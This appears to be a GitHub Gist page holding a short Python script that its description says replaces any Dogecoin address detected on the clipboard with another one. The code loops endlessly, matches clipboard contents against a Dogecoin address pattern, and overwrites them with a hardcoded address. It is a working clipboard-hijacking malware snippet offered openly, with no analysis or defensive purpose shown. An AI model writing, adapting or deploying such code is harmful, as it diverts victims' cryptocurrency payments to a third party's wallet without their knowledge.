Last active
June 2, 2021 11:37
-
-
Save 3rg1s/67e71446e67137662ebaa02dcae409bb to your computer and use it in GitHub Desktop.
When dogecoin address detected on the clipboard replace it with another one.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re,pyperclip | |
while(1): | |
s = pyperclip.paste() | |
addr = re.findall(r"^[DT][a-km-zA-HJ-NP-Z1-9]{25,34}$",s) | |
if addr: | |
pyperclip.copy("D5kYkMmkKKNNvvEsx31FvirNT6oEyeirAi") | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment